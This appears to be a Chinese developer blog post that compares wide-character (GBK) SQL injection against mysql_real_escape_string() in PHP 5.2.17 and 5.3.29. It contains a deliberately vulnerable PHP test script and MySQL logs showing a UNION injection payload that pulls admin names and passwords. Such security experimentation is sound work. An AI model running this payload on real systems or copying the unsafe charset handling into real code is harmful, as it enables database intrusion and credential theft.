mysql_escape_string 宽字符_mysql_real_escape_string()函数 在不同版本php中不同处理!

发现mysql_real_escape_string() 在不同php版本中表现不同。网上看安全开发文档的时候,文档中说,正确使用mysql_real_escape_string()前需要指定mysql连接字符集即使用mysql_set_charset()函数,如果不指定字符集且使用的字符编码是类似GBK的宽字符,可能导致宽字符注入。

这里我做了一个小实验,只使用了mysql_real_escape_string(),未使用mysql_set_charset()函数指定当前连接字符集,在php版本为5.2.17时,可以宽字符注入成功;在php版本为5.3.29时,宽字符注入不成功,查看mysql日志,显示宽字符处也被转义了。

代码:

$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');

mysql_query("SET NAMES 'GBK'");

mysql_select_db('test', $conn) OR emMsg("连接数据库失败,未找到您填写的数据库");

if(get_magic_quotes_gpc()){

$id = isset($_GET['id']) ? mysql_real_escape_string(stripslashes($_GET['id'])) : 1;

}else{

$id = isset($_GET['id']) ? mysql_real_escape_string($_GET['id']) : 1;

}

//执行sql语句

$sql = "SELECT * FROM news WHERE tid='{$id}'";

$result = mysql_query($sql, $conn) or die(mysql_error());

?>

使用php版本为5.2.17时mysql日志:

2 Query SET NAMES 'GBK'

2 Init DB test

2 Query SELECT * FROM news WHERE tid='-1ࠜ' union select null,concat(name,0x40,pass),null from admin#'

2 Quit

使用php版本为5.3.29时mysql日志:

1 Query SET NAMES 'GBK'

1 Init DB test

1 Query SELECT * FROM news WHERE tid='-1\ࠜ' union select null,concat(name,0x40,pass),null from admin#'

1 Quit

这里我的问题是,php版本为5.3.29时不需要使用mysql_set_charset()指定连接字符集了吗?如果不需要它是怎么判断的!!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值